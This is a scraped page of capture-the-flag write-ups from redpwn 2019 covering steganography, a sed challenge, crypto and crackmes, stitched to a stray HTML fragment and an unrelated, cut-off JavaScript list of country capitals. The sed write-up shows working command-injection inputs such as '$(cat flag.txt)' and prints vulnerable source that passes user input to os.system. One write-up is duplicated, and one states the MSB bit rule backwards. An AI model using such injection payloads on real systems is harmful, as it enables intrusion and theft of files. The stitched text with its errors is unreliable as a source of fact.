.018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The problem description states: `"It's not LSB, its MSB! Red is Random, Green is Garbage, Blue is Boring. Hint: Only one channel is correct. Also, I like doing things top down."`
Attached is an image named lol.png:
The problem's title is MSB, which stands for most signficant bit. It's the leftmost digit in the binary representation of a number. The problem statement alludes to the fact that green and red channels are useless (Green is Garbage, Red is Random). So the flag is likely found by taking the MSB of the blue pixels, concatenating them into a binary string, and finally converting it into ASCII. Since we're working with colors and RGB's values go from 0-255 (or 0000 0000-1111 1111 in binary), if the blue value of a pixel is less than 128 we appened a 1 to our binary string. Otherwise, we append a 0.

I wrote a Python script using Pillow to solve the problem:
```from PIL import Image
# Opens up imageimage = Image.open("lol.png")loaded = image.load()dim = image.sizeimgLength = dim[0]imgHeight = dim[1]
# Blank string that reads the binary digitsstring = ""
# Goes through each pixel top-downfor x in range(imgLength): for y in range(imgHeight): val = loaded[x,y][2] # This line is a bit confusing. # I'm basically converting the number # in the blue channel to binary. # So 5 -> 101. Then I'm appending # zeroes with zfill to the beginning until it reaches # a length of 8. Finally, it takes the MSB of the binary value. # and appends it to the binary text. string+=((bin(val)[2:]).zfill(8))[0]
# Binary to ASCII conversionflag = ""while len(string) != 0: flag+=chr(int(string[:8], 2)) string = string[8:]
print(flag)```
This is the output:
```pizzas, pies, and pandas. flag{MSB_really_sucks}pizzas, pies, and pandas. flag{MSB_really_sucks}pizzas, pies, and pandas. flag{MSB_really_sucks}...```
Flag: `flag{MSB_really_sucks}` |
In this misc challenge with description:
```I'm not really sure what I sed to this program, so it fixes it for me!
nc chall2.2019.redpwn.net 6004```
We are prompted three times for some input related to sed usage, let's put random things
```What you thought you sedabcdefWhat you aren't sure you sedbWhat you actually sedcYou actually saidaccdef```
It seems that it asks for a string, then a pattern to substitute and the string to substitute with. Syntax of the command could be similar to:
```bashecho $1 | sed 's/$2/$3/g'```
Let's try to get a RCE using $(command) syntax:
```What you thought you sed$(ls)What you aren't sure you sedaWhat you actually sedaYou actually said$(ls)```
He is treating the input as a properly string, let's try to escape it using quotes:
```What you thought you sed'$(ls)'What you aren't sure you sedaWhat you actually sedaYou actually saidbin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin sed.py srv sys tmp usr var```
It works! To get the flag we just need to cat the corresponding file
```What you thought you sed'$(cat flag.txt)'What you aren't sure you sedaWhat you actually sedaYou actually saidflag{th4ts_wh4t_sh3_sed}```
P.S: Let's have fun dumping the software used for this challenge using $(cat sed.py), the result is:
```pythonfrom os import system
inp = input("What you thought you sed")rep = '/' + input("What you aren't sure you sed") + '/'new = input("What you actually sed")cmd = 's' + rep + new + "/g"
if "'" not in new: cmd += "'" print(cmd)print("You actually said")system("echo '" + inp + "' | sed '" + cmd)``` |
BabbyPwn------------------------```Written by: blevy
nc chall2.2019.redpwn.net 4001```
Since the chalenge is an introductory overflow challenge, the most basic type of pwn is buffer overflow, therefore spamming letters such as "aaaaaaaaaaaaaaaaaa" in the console will automatically update the printout and print out the flag.
Crypt------------------```Written by: ginkoid
Store your most valuable secrets with this new encryption algorithm.```
Right as we get in the page, we see```Your safely encrypted flag is vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec```
By going to Inspector and checking the code, the algorithm is enclosed by JSFuck, which gives us```f=>btoa([...btoa(f)].map(s=>String.fromCharCode(s.charCodeAt(0)+(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))```
We can reverse this encryption by writing
```eval(f=>atob([...atob(f)].map(s=>String.fromCharCode(s.charCodeAt(0)-(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join('')))('vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec')```
which gives us```flag{tHe_H1gh3st_quA11ty_antI_d3buG}```
Generic Crackme------------```Written by: blevy
Note: Enclose the flag with flag{}.```
Right as we launch IDA, we get into

The part we care is the parts right after the \_fgets function where the inputs matter. We will be looking at what the sub_1168 function does.

A closer pic of the first 2 of the conditions:

It seems that theres a sub_1159 function right before the cmp instruction was used.

After analysing what sub_1159 does, we can conclude that it adds 1 byte to whatever the input was. And since each cmp instruction is comparing each letter by letter in ```rax``` (which is our input), we can assume this works as a caesar cipher and rotate 1 from our input to get ```ephhz```, which our input should be ```doggy```, so our flag should be
```flag{doggy}```.
Generic Crackme Redux---------------```Written by: blevy
Note: Enclose the flag with flag{}.```
This part is generic math (haha). By opening IDA, we see

Which shows us the disassembly for the main function. We get straight into the sub_5645DEB32169 function, where we see

We have to compare our output 0AC292h, which is 705170 in decimal. So lets break the function down. From the start,
```Lets call edx as x.mov eax, edx means x = x, so both eax and edx have values of x.shl eax, 2 means shift eax bits by 2, psudo-meaning multiply eax by 4. So eax = 4x.add eax, edx means add edx to eax. So eax = 5xadd eax, eax means add eax to eax, or eax * 2. eax = 10xcmp eax, 0AC292h compares value of eax to 0AC292h```Now after static analysizing these sets of functions manually, after we calculate eax, we get a decimal value of 70517, which is the correct answer!

So our correct answer is ```flag{70517}```
MSB---------```Written by: NotDeGhost
It's not LSB, its MSB!
Red is Random, Green is Garbage, Blue is Boring.
Hint: Only one channel is correct. Also, I like doing things top down.```
The challenge gives us a picture and gives some hints that data is hidden by MSB. This gives us the chance to use ```stegsolve```. When opening the picture with stegsolve, we get a picture.

By going through the color planes, we see an output that doesnt really feel the same like the others, there I data extracted by column and got the flag!


```flag{MSB_really_sucks}``` |
BabbyPwn------------------------```Written by: blevy
nc chall2.2019.redpwn.net 4001```
Since the chalenge is an introductory overflow challenge, the most basic type of pwn is buffer overflow, therefore spamming letters such as "aaaaaaaaaaaaaaaaaa" in the console will automatically update the printout and print out the flag.
Crypt------------------```Written by: ginkoid
Store your most valuable secrets with this new encryption algorithm.```
Right as we get in the page, we see```Your safely encrypted flag is vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec```
By going to Inspector and checking the code, the algorithm is enclosed by JSFuck, which gives us```f=>btoa([...btoa(f)].map(s=>String.fromCharCode(s.charCodeAt(0)+(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join(''))```
We can reverse this encryption by writing
```eval(f=>atob([...atob(f)].map(s=>String.fromCharCode(s.charCodeAt(0)-(location.host.charCodeAt(0)%location.host.charCodeAt(3)))).join('')))('vdDby72W15O2qrnJtqep0cSnsd3HqZzbx7io27C7tZi7lanYx6jPyb2nsczHuMec')```
which gives us```flag{tHe_H1gh3st_quA11ty_antI_d3buG}```
Generic Crackme------------```Written by: blevy
Note: Enclose the flag with flag{}.```
Right as we launch IDA, we get into

The part we care is the parts right after the \_fgets function where the inputs matter. We will be looking at what the sub_1168 function does.

A closer pic of the first 2 of the conditions:

It seems that theres a sub_1159 function right before the cmp instruction was used.

After analysing what sub_1159 does, we can conclude that it adds 1 byte to whatever the input was. And since each cmp instruction is comparing each letter by letter in ```rax``` (which is our input), we can assume this works as a caesar cipher and rotate 1 from our input to get ```ephhz```, which our input should be ```doggy```, so our flag should be
```flag{doggy}```.
Generic Crackme Redux---------------```Written by: blevy
Note: Enclose the flag with flag{}.```
This part is generic math (haha). By opening IDA, we see

Which shows us the disassembly for the main function. We get straight into the sub_5645DEB32169 function, where we see

We have to compare our output 0AC292h, which is 705170 in decimal. So lets break the function down. From the start,
```Lets call edx as x.mov eax, edx means x = x, so both eax and edx have values of x.shl eax, 2 means shift eax bits by 2, psudo-meaning multiply eax by 4. So eax = 4x.add eax, edx means add edx to eax. So eax = 5xadd eax, eax means add eax to eax, or eax * 2. eax = 10xcmp eax, 0AC292h compares value of eax to 0AC292h```Now after static analysizing these sets of functions manually, after we calculate eax, we get a decimal value of 70517, which is the correct answer!

So our correct answer is ```flag{70517}```
MSB---------```Written by: NotDeGhost
It's not LSB, its MSB!
Red is Random, Green is Garbage, Blue is Boring.
Hint: Only one channel is correct. Also, I like doing things top down.```
The challenge gives us a picture and gives some hints that data is hidden by MSB. This gives us the chance to use ```stegsolve```. When opening the picture with stegsolve, we get a picture.

By going through the color planes, we see an output that doesnt really feel the same like the others, there I data extracted by column and got the flag!


```flag{MSB_really_sucks}``` |
Run the following code:----```jscapitals1 = [{"CountryName":"Somaliland","CapitalName":"Hargeisa","CapitalLatitude":"9.55","CapitalLongitude":"44.050000","CountryCode":"NULL","ContinentName":"Africa"},{"CountryName":"South Georgia and South Sandwich Islands","CapitalName":"King Edward Point","CapitalLatitude":"-54.283333","CapitalLongitude":"-36.500000","CountryCode":"GS","ContinentName":"Antarctica"},{"CountryName":"French Southern and Antarctic Lands","CapitalName":"Port-aux-Français","CapitalLatitude":"-49.35","CapitalLongitude":"70.216667","CountryCode":"TF","ContinentName":"Antarctica"},{"CountryName":"Palestine","CapitalName":"Jerusalem","CapitalLatitude":"31.766666666666666","CapitalLongitude":"35.233333","CountryCode":"PS","ContinentName":"Asia"},{"CountryName":"Aland Islands","CapitalName":"Mariehamn","CapitalLatitude":"60.116667","CapitalLongitude":"19.900000","CountryCode":"AX","ContinentName":"Europe"},{"CountryName":"Nauru","CapitalName":"Yaren","CapitalLatitude":"-0.5477","CapitalLongitude":"166.920867","CountryCode":"NR","ContinentName":"Australia"},{"CountryName":"Saint Martin","CapitalName":"Marigot","CapitalLatitude":"18.0731","CapitalLongitude":"-63.082200","CountryCode":"MF","ContinentName":"North America"},{"CountryName":"Tokelau","CapitalName":"Atafu","CapitalLatitude":"-9.166667","CapitalLongitude":"-171.833333","CountryCode":"TK","ContinentName":"Australia"},{"CountryName":"Western Sahara","CapitalName":"El-Aaiún","CapitalLatitude":"27.153611","CapitalLongitude":"-13.203333","CountryCode":"EH","ContinentName":"Africa"},{"CountryName":"Afghanistan","CapitalName":"Kabul","CapitalLatitude":"34.516666666666666","CapitalLongitude":"69.183333","CountryCode":"AF","ContinentName":"Asia"},{"CountryName":"Albania","CapitalName":"Tirana","CapitalLatitude":"41.31666666666667","CapitalLongitude":"19.816667","CountryCode":"AL","ContinentName":"Europe"},{"CountryName":"Algeria","CapitalName":"Algiers","CapitalLatitude":"36.75","CapitalLongitude":"3.050000","CountryCode":"DZ","ContinentName":"Africa"},{"CountryName":"American Samoa","CapitalName":"Pago Pago","CapitalLatitude":"-14.266666666666667","CapitalLongitude":"-170.700000","CountryCode":"AS","ContinentName":"Australia"},{"CountryName":"Andorra","CapitalName":"Andorra la Vella","CapitalLatitude":"42.5","CapitalLongitude":"1.516667","CountryCode":"AD","ContinentName":"Europe"},{"CountryName":"Angola","CapitalName":"Luanda","CapitalLatitude":"-8.833333333333334","CapitalLongitude":"13.216667","CountryCode":"AO","ContinentName":"Africa"},{"CountryName":"Anguilla","CapitalName":"The Valley","CapitalLatitude":"18.216666666666665","CapitalLongitude":"-63.050000","CountryCode":"AI","ContinentName":"North America"},{"CountryName":"Antigua and Barbuda","CapitalName":"Saint John's","CapitalLatitude":"17.116666666666667","CapitalLongitude":"-61.850000","CountryCode":"AG","ContinentName":"North America"},{"CountryName":"Argentina","CapitalName":"Buenos Aires","CapitalLatitude":"-34.583333333333336","CapitalLongitude":"-58.666667","CountryCode":"AR","ContinentName":"South America"},{"CountryName":"Armenia","CapitalName":"Yerevan","CapitalLatitude":"40.166666666666664","CapitalLongitude":"44.500000","CountryCode":"AM","ContinentName":"Europe"},{"CountryName":"Aruba","CapitalName":"Oranjestad","CapitalLatitude":"12.516666666666667","CapitalLongitude":"-70.033333","CountryCode":"AW","ContinentName":"North America"},{"CountryName":"Australia","CapitalName":"Canberra","CapitalLatitude":"-35.266666666666666","CapitalLongitude":"149.133333","CountryCode":"AU","ContinentName":"Australia"},{"CountryName":"Austria","CapitalName":"Vienna","CapitalLatitude":"48.2","CapitalLongitude":"16.366667","CountryCode":"AT","ContinentName":"Europe"},{"CountryName":"Azerbaijan","CapitalName":"Baku","CapitalLatitude":"40.38333333333333","CapitalLongitude":"49.866667","CountryCode":"AZ","ContinentName":"Europe"},{"CountryName":"Bahamas","CapitalName":"Nassau","CapitalLatitude":"25.083333333333332","CapitalLongitude":"-77.350000","CountryCode":"BS","ContinentName":"North America"},{"CountryName":"Bahrain","CapitalName":"Manama","CapitalLatitude":"26.233333333333334","CapitalLongitude":"50.566667","CountryCode":"BH","ContinentName":"Asia"},{"CountryName":"Bangladesh","CapitalName":"Dhaka","CapitalLatitude":"23.716666666666665","CapitalLongitude":"90.400000","CountryCode":"BD","ContinentName":"Asia"},{"CountryName":"Barbados","CapitalName":"Bridgetown","CapitalLatitude":"13.1","CapitalLongitude":"-59.616667","CountryCode":"BB","ContinentName":"North America"},{"CountryName":"Belarus","CapitalName":"Minsk","CapitalLatitude":"53.9","CapitalLongitude":"27.566667","CountryCode":"BY","ContinentName":"Europe"},{"CountryName":"Belgium","CapitalName":"Brussels","CapitalLatitude":"50.833333333333336","CapitalLongitude":"4.333333","CountryCode":"BE","ContinentName":"Europe"},{"CountryName":"Belize","CapitalName":"Belmopan","CapitalLatitude":"17.25","CapitalLongitude":"-88.766667","CountryCode":"BZ","ContinentName":"Central America"},{"CountryName":"Benin","CapitalName":"Porto-Novo","CapitalLatitude":"6.483333333333333","CapitalLongitude":"2.616667","CountryCode":"BJ","ContinentName":"Africa"},{"CountryName":"Bermuda","CapitalName":"Hamilton","CapitalLatitude":"32.28333333333333","CapitalLongitude":"-64.783333","CountryCode":"BM","ContinentName":"North America"},{"CountryName":"Bhutan","CapitalName":"Thimphu","CapitalLatitude":"27.466666666666665","CapitalLongitude":"89.633333","CountryCode":"BT","ContinentName":"Asia"},{"CountryName":"Bolivia","CapitalName":"La Paz","CapitalLatitude":"-16.5","CapitalLongitude":"-68.150000","CountryCode":"BO","ContinentName":"South America"},{"CountryName":"Bosnia and Herzegovina","CapitalName":"Sarajevo","CapitalLatitude":"43.86666666666667","CapitalLongitude":"18.416667","CountryCode":"BA","ContinentName":"Europe"},{"CountryName":"Botswana","CapitalName":"Gaborone","CapitalLatitude":"-24.633333333333333","CapitalLongitude":"25.900000","CountryCode":"BW","ContinentName":"Africa"},{"CountryName":"Brazil","CapitalName":"Brasilia","CapitalLatitude":"-15.783333333333333","CapitalLongitude":"-47.916667","CountryCode":"BR","ContinentName":"South America"},{"CountryName":"British Virgin Islands","CapitalName":"Road Town","CapitalLatitude":"18.416666666666668","CapitalLongitude":"-64.616667","CountryCode":"VG","ContinentName":"North America"},{"CountryName":"Brunei Darussalam","CapitalName":"Bandar Seri Begawan","CapitalLatitude":"4.883333333333333","CapitalLongitude":"114.933333","CountryCode":"BN","ContinentName":"Asia"},{"CountryName":"Brunei","CapitalName":"Bandar Seri Begawan","CapitalLatitude":"4.883333333333333","CapitalLongitude":"114.933333","CountryCode":"BN","ContinentName":"Asia"},{"CountryName":"Bulgaria","CapitalName":"Sofia","CapitalLatitude":"42.68333333333333","CapitalLongitude":"23.316667","CountryCode":"BG","ContinentName":"Europe"},{"CountryName":"Burkina Faso","CapitalName":"Ouagadougou","CapitalLatitude":"12.366666666666667","CapitalLongitude":"-1.516667","CountryCode":"BF","ContinentName":"Africa"},{"CountryName":"Myanmar","CapitalName":"Rangoon","CapitalLatitude":"16.8","CapitalLongitude":"96.150000","CountryCode":"MM","ContinentName":"Asia"},{"CountryName":"Burundi","CapitalName":"Bujumbura","CapitalLatitude":"-3.3666666666666667","CapitalLongitude":"29.350000","CountryCode":"BI","ContinentName":"Africa"},{"CountryName":"Cambodia","CapitalName":"Phnom Penh","CapitalLatitude":"11.55","CapitalLongitude":"104.916667","CountryCode":"KH","ContinentName":"Asia"},{"CountryName":"Cameroon","CapitalName":"Yaounde","CapitalLatitude":"3.8666666666666667","CapitalLongitude":"11.516667","CountryCode":"CM","ContinentName":"Africa"},{"CountryName":"Canada","CapitalName":"Ottawa","CapitalLatitude":"45.416666666666664","CapitalLongitude":"-75.700000","CountryCode":"CA","ContinentName":"Central America"},{"CountryName":"Cape Verde","CapitalName":"Praia","CapitalLatitude":"14.916666666666666","CapitalLongitude":"-23.516667","CountryCode":"CV","ContinentName":"Africa"},{"CountryName":"Cayman Islands","CapitalName":"George Town","CapitalLatitude":"19.3","CapitalLongitude":"-81.383333","CountryCode":"KY","ContinentName":"North America"},{"CountryName":"Central African Republic","CapitalName":"Bangui","CapitalLatitude":"4.366666666666666","CapitalLongitude":"18.583333","CountryCode":"CF","ContinentName":"Africa"},{"CountryName":"Chad","CapitalName":"N'Djamena","CapitalLatitude":"12.1","CapitalLongitude":"15.033333","CountryCode":"TD","ContinentName":"Africa"},{"CountryName":"Chile","CapitalName":"Santiago","CapitalLatitude":"-33.45","CapitalLongitude":"-70.666667","CountryCode":"CL","ContinentName":"South America"},{"CountryName":"China","CapitalName":"Beijing","CapitalLatitude":"39.916666666666664","CapitalLongitude":"116.383333","CountryCode":"CN","ContinentName":"Asia"},{"CountryName":"Christmas Island","CapitalName":"The Settlement","CapitalLatitude":"-10.416666666666666","CapitalLongitude":"105.716667","CountryCode":"CX","ContinentName":"Australia"},{"CountryName":"Cocos Islands","CapitalName":"West Island","CapitalLatitude":"-12.166666666666666","CapitalLongitude":"96.833333","CountryCode":"CC","ContinentName":"Australia"},{"CountryName":"Colombia","CapitalName":"Bogota","CapitalLatitude":"4.6","CapitalLongitude":"-74.083333","CountryCode":"CO","ContinentName":"South America"},{"CountryName":"Comoros","CapitalName":"Moroni","CapitalLatitude":"-11.7","CapitalLongitude":"43.233333","CountryCode":"KM","ContinentName":"Africa"},{"CountryName":"Democratic Republic of the Congo","CapitalName":"Kinshasa","CapitalLatitude":"-4.316666666666666","CapitalLongitude":"15.300000","CountryCode":"CD","ContinentName":"Africa"},{"CountryName":"Republic of the Congo","CapitalName":"Brazzaville","CapitalLatitude":"-4.25","CapitalLongitude":"15.283333","CountryCode":"CG","ContinentName":"Africa"},{"CountryName":"Cook Islands","CapitalName":"Avarua","CapitalLatitude":"-21.2","CapitalLongitude":"-159.766667","CountryCode":"CK","ContinentName":"Australia"},{"CountryName":"Costa Rica","CapitalName":"San Jose","CapitalLatitude":"9.933333333333334","CapitalLongitude":"-84.083333","CountryCode":"CR","ContinentName":"Central America"},{"CountryName":"Cote d'Ivoire","CapitalName":"Yamoussoukro","CapitalLatitude":"6.816666666666666","CapitalLongitude":"-5.266667","CountryCode":"CI","ContinentName":"Africa"},{"CountryName":"Croatia","CapitalName":"Zagreb","CapitalLatitude":"45.8","CapitalLongitude":"16.000000","CountryCode":"HR","ContinentName":"Europe"},{"CountryName":"Cuba","CapitalName":"Havana","CapitalLatitude":"23.116666666666667","CapitalLongitude":"-82.350000","CountryCode":"CU","ContinentName":"North America"},{"CountryName":"Curaçao","CapitalName":"Willemstad","CapitalLatitude":"12.1","CapitalLongitude":"-68.916667","CountryCode":"CW","ContinentName":"North America"},{"CountryName":"Cyprus","CapitalName":"Nicosia","CapitalLatitude":"35.166666666666664","CapitalLongitude":"33.366667","CountryCode":"CY","ContinentName":"Europe"},{"CountryName":"Czech Republic","CapitalName":"Prague","CapitalLatitude":"50.083333333333336","CapitalLongitude":"14.466667","CountryCode":"CZ","ContinentName":"Europe"},{"CountryName":"Denmark","CapitalName":"Copenhagen","CapitalLatitude":"55.666666666666664","CapitalLongitude":"12.583333","CountryCode":"DK","ContinentName":"Europe"},{"CountryName":"Djibouti","CapitalName":"Djibouti","CapitalLatitude":"11.583333333333334","CapitalLongitude":"43.150000","CountryCode":"DJ","ContinentName":"Africa"},{"CountryName":"Dominica","CapitalName":"Roseau","CapitalLatitude":"15.3","CapitalLongitude":"-61.400000","CountryCode":"DM","ContinentName":"North America"},{"CountryName":"Dominican Republic","CapitalName":"Santo Domingo","CapitalLatitude":"18.466666666666665","CapitalLongitude":"-69.900000","CountryCode":"DO","ContinentName":"North America"},{"CountryName":"Ecuador","CapitalName":"Quito","CapitalLatitude":"-0.21666666666666667","CapitalLongitude":"-78.500000","CountryCode":"EC","ContinentName":"South America"},{"CountryName":"Egypt","CapitalName":"Cairo","CapitalLatitude":"30.05","CapitalLongitude":"31.250000","CountryCode":"EG","ContinentName":"Africa"},{"CountryName":"El Salvador","CapitalName":"San Salvador","CapitalLatitude":"13.7","CapitalLongitude":"-89.200000","CountryCode":"SV","ContinentName":"Central America"},{"CountryName":"Equatorial Guinea","CapitalName":"Malabo","CapitalLatitude":"3.75","CapitalLongitude":"8.783333","CountryCode":"GQ","ContinentName":"Africa"},{"CountryName":"Eritrea","CapitalName":"Asmara","CapitalLatitude":"15.333333333333334","CapitalLongitude":"38.933333","CountryCode":"ER","ContinentName":"Africa"},{"CountryName":"Estonia","CapitalName":"Tallinn","CapitalLatitude":"59.43333333333333","CapitalLongitude":"24.716667","CountryCode":"EE","ContinentName":"Europe"},{"CountryName":"Ethiopia","CapitalName":"Addis Ababa","CapitalLatitude":"9.033333333333333","CapitalLongitude":"38.700000","CountryCode":"ET","ContinentName":"Africa"},{"CountryName":"Falkland Islands","CapitalName":"Stanley","CapitalLatitude":"-51.7","CapitalLongitude":"-57.850000","CountryCode":"FK","ContinentName":"South America"},{"CountryName":"Faroe Islands","CapitalName":"Torshavn","CapitalLatitude":"62","CapitalLongitude":"-6.766667","CountryCode":"FO","ContinentName":"Europe"},{"CountryName":"Fiji","CapitalName":"Suva","CapitalLatitude":"-18.133333333333333","CapitalLongitude":"178.416667","CountryCode":"FJ","ContinentName":"Australia"},{"CountryName":"Finland","CapitalName":"Helsinki","CapitalLatitude":"60.166666666666664","CapitalLongitude":"24.933333","CountryCode":"FI","ContinentName":"Europe"},{"CountryName":"France","CapitalName":"Paris","CapitalLatitude":"48.86666666666667","CapitalLongitude":"2.333333","CountryCode":"FR","ContinentName":"Europe"},{"CountryName":"French Polynesia","CapitalName":"Papeete","CapitalLatitude":"-17.533333333333335","CapitalLongitude":"-149.566667","CountryCode":"PF","ContinentName":"Australia"},{"CountryName":"Gabon","CapitalName":"Libreville","CapitalLatitude":"0.38333333333333336","CapitalLongitude":"9.450000","CountryCode":"GA","ContinentName":"Africa"},{"CountryName":"The Gambia","CapitalName":"Banjul","CapitalLatitude":"13.45","CapitalLongitude":"-16.566667","CountryCode":"GM","ContinentName":"Africa"},{"CountryName":"Georgia","CapitalName":"Tbilisi","CapitalLatitude":"41.68333333333333","CapitalLongitude":"44.833333","CountryCode":"GE","ContinentName":"Europe"},{"CountryName":"Germany","CapitalName":"Berlin","CapitalLatitude":"52.516666666666666","CapitalLongitude":"13.400000","CountryCode":"DE","ContinentName":"Europe"},{"CountryName":"Ghana","CapitalName":"Accra","CapitalLatitude":"5.55","CapitalLongitude":"-0.216667","CountryCode":"GH","ContinentName":"Africa"},{"CountryName":"Gibraltar","CapitalName":"Gibraltar","CapitalLatitude":"36.13333333333333","CapitalLongitude":"-5.350000","CountryCode":"GI","ContinentName":"Europe"},{"CountryName":"Greece","CapitalName":"Athens","CapitalLatitude":"37.983333333333334","CapitalLongitude":"23.733333","CountryCode":"GR","ContinentName":"Europe"},{"CountryName":"Greenland","CapitalName":"Nuuk","CapitalLatitude":"64.18333333333334","CapitalLongitude":"-51.750000","CountryCode":"GL","ContinentName":"Central America"},{"CountryName":"Grenada","CapitalName":"Saint George's","CapitalLatitude":"12.05","CapitalLongitude":"-61.750000","CountryCode":"GD","ContinentName":"North America"},{"CountryName":"Guam","CapitalName":"Hagatna","CapitalLatitude":"13.466666666666667","CapitalLongitude":"144.733333","CountryCode":"GU","ContinentName":"Australia"},{"CountryName":"Guatemala","CapitalName":"Guatemala City","CapitalLatitude":"14.616666666666667","CapitalLongitude":"-90.516667","CountryCode":"GT","ContinentName":"Central America"},{"CountryName":"Guernsey","CapitalName":"Saint Peter Port","CapitalLatitude":"49.45","CapitalLongitude":"-2.533333","CountryCode":"GG","ContinentName":"Europe"},{"CountryName":"Guinea","CapitalName":"Conakry","CapitalLatitude":"9.5","CapitalLongitude":"-13.700000","CountryCode":"GN","ContinentName":"Africa"},{"CountryName":"Guinea-Bissau","CapitalName":"Bissau","CapitalLatitude":"11.85","CapitalLongitude":"-15.583333","CountryCode":"GW","ContinentName":"Africa"},{"CountryName":"Guyana","CapitalName":"Georgetown","CapitalLatitude":"6.8","CapitalLongitude":"-58.150000","CountryCode":"GY","ContinentName":"South America"},{"CountryName":"Haiti","CapitalName":"Port-au-Prince","CapitalLatitude":"18.533333333333335","CapitalLongitude":"-72.333333","CountryCode":"HT","ContinentName":"North America"},{"CountryName":"Vatican City","CapitalName":"Vatican City","CapitalLatitude":"41.9","CapitalLongitude":"12.450000","CountryCode":"VA","ContinentName":"Europe"},{"CountryName":"Honduras","CapitalName":"Tegucigalpa","CapitalLatitude":"14.1","CapitalLongitude":"-87.216667","CountryCode":"HN","ContinentName":"Central America"},{"CountryName":"Hungary","CapitalName":"Budapest","CapitalLatitude":"47.5","CapitalLongitude":"19.083333","CountryCode":"HU","ContinentName":"Europe"},{"CountryName":"Iceland","CapitalName":"Reykjavik","CapitalLatitude":"64.15","CapitalLongitude":"-21.950000","CountryCode":"IS","ContinentName":"Europe"},{"CountryName":"India","CapitalName":"New Delhi","CapitalLatitude":"28.6","CapitalLongitude":"77.200000","CountryCode":"IN","ContinentName":"Asia"},{"CountryName":"Indonesia","CapitalName":"Jakarta","CapitalLatitude":"-6.166666666666667","CapitalLongitude":"106.816667","CountryCode":"ID","ContinentName":"Asia"},{"CountryName":"Iran","CapitalName":"Tehran","CapitalLatitude":"35.7","CapitalLongitude":"51.416667","CountryCode":"IR","ContinentName":"Asia"},{"CountryName":"Iraq","CapitalName":"Baghdad","CapitalLatitude":"33.333333333333336","CapitalLongitude":"44.400000","CountryCode":"IQ","ContinentName":"Asia"},{"CountryName":"Ireland","CapitalName":"Dublin","CapitalLatitude":"53.31666666666667","CapitalLongitude":"-6.233333","CountryCode":"IE","ContinentName":"Europe"},{"CountryName":"Isle of Man","CapitalName":"Douglas","CapitalLatitude":"54.15","CapitalLongitude":"-4.483333","CountryCode":"IM","ContinentName":"Europe"},{"CountryName":"Israel","CapitalName":"Jerusalem","CapitalLatitude":"31.766666666666666","CapitalLongitude":"35.233333","CountryCode":"IL","ContinentName":"Asia"},{"CountryName":"Italy","CapitalName":"Rome","CapitalLatitude":"41.9","CapitalLongitude":"12.483333","CountryCode":"IT","ContinentName":"Europe"},{"CountryName":"Jamaica","CapitalName":"Kingston","CapitalLatitude":"18","CapitalLongitude":"-76.800000","CountryCode":"JM","ContinentName":"North America"},{"CountryName":"Japan","CapitalName":"Tokyo","CapitalLatitude":"35.68333333333333","CapitalLongitude":"139.750000","CountryCode":"JP","ContinentName":"Asia"},{"CountryName":"Jersey","CapitalName":"Saint Helier","CapitalLatitude":"49.18333333333333","CapitalLongitude":"-2.100000","CountryCode":"JE","ContinentName":"Europe"},{"CountryName":"Jordan","CapitalName":"Amman","CapitalLatitude":"31.95","CapitalLongitude":"35.933333","CountryCode":"JO","ContinentName":"Asia"},{"CountryName":"Kazakhstan","CapitalName":"Astana","CapitalLatitude":"51.166666666666664","CapitalLongitude":"71.416667","CountryCode":"KZ","ContinentName":"Asia"},{"CountryName":"Kenya","CapitalName":"Nairobi","CapitalLatitude":"-1.2833333333333332","CapitalLongitude":"36.816667","CountryCode":"KE","ContinentName":"Africa"},{"CountryName":"Kiribati","CapitalName":"Tarawa","CapitalLatitude":"-0.8833333333333333","CapitalLongitude":"169.533333","CountryCode":"KI","ContinentName":"Australia"},{"CountryName":"North Korea","CapitalName":"Pyongyang","CapitalLatitude":"39.016666666666666","CapitalLongitude":"125.750000","CountryCode":"KP","ContinentName":"Asia"},{"CountryName":"South Korea","CapitalName":"Seoul","CapitalLatitude":"37.55","CapitalLongitude":"126.983333","CountryCode":"KR","ContinentName":"Asia"},{"CountryName":"Kosovo","CapitalName":"Pristina","CapitalLatitude":"42.666666666666664","CapitalLongitude":"21.166667","CountryCode":"KO","ContinentName":"Europe"},{"CountryName":"Kuwait","CapitalName":"Kuwait City","CapitalLatitude":"29.366666666666667","CapitalLongitude":"47.966667","CountryCode":"KW","ContinentName":"Asia"},{"CountryName":"Kyrgyzstan","CapitalName":"Bishkek","CapitalLatitude":"42.86666666666667","CapitalLongitude":"74.600000","CountryCode":"KG","ContinentName":"Asia"},{"CountryName":"Laos","CapitalName":"Vientiane","CapitalLatitude":"17.966666666666665","CapitalLongitude":"102.600000","CountryCode":"LA","ContinentName":"Asia"},{"CountryName":"Latvia","CapitalName":"Riga","CapitalLatitude":"56.95","CapitalLongitude":"24.100000","CountryCode":"LV","ContinentName":"Europe"},{"CountryName":"Lebanon","CapitalName":"Beirut","CapitalLatitude":"33.86666666666667","CapitalLongitude":"35.500000","CountryCode":"LB","ContinentName":"Asia"},{"CountryName":"Lesotho","CapitalName":"Maseru","CapitalLatitude":"-29.316666666666666","CapitalLongitude":"27.483333","CountryCode":"LS","ContinentName":"Africa"},{"CountryName":"Liberia","CapitalName":"Monrovia","CapitalLatitude":"6.3","CapitalLongitude":"-10.800000","CountryCode":"LR","ContinentName":"Africa"},{"CountryName":"Libya","CapitalName":"Tripoli","CapitalLatitude":"32.88333333333333","CapitalLongitude":"13.166667","CountryCode":"LY","ContinentName":"Africa"},{"CountryName":"Liechtenstein","CapitalName":"Vaduz","CapitalLatitude":"47.13333333333333","CapitalLongitude":"9.516667","CountryCode":"LI","ContinentName":"Europe"},{"CountryName":"Lithuania","CapitalName":"Vilnius","CapitalLatitude":"54.68333333333333","CapitalLongitude":"25.316667","CountryCode":"LT","ContinentName":"Europe"},{"CountryName":"Luxembourg","CapitalName":"Luxembourg","CapitalLatitude":"49.6","CapitalLongitude":"6.116667","CountryCode":"LU","ContinentN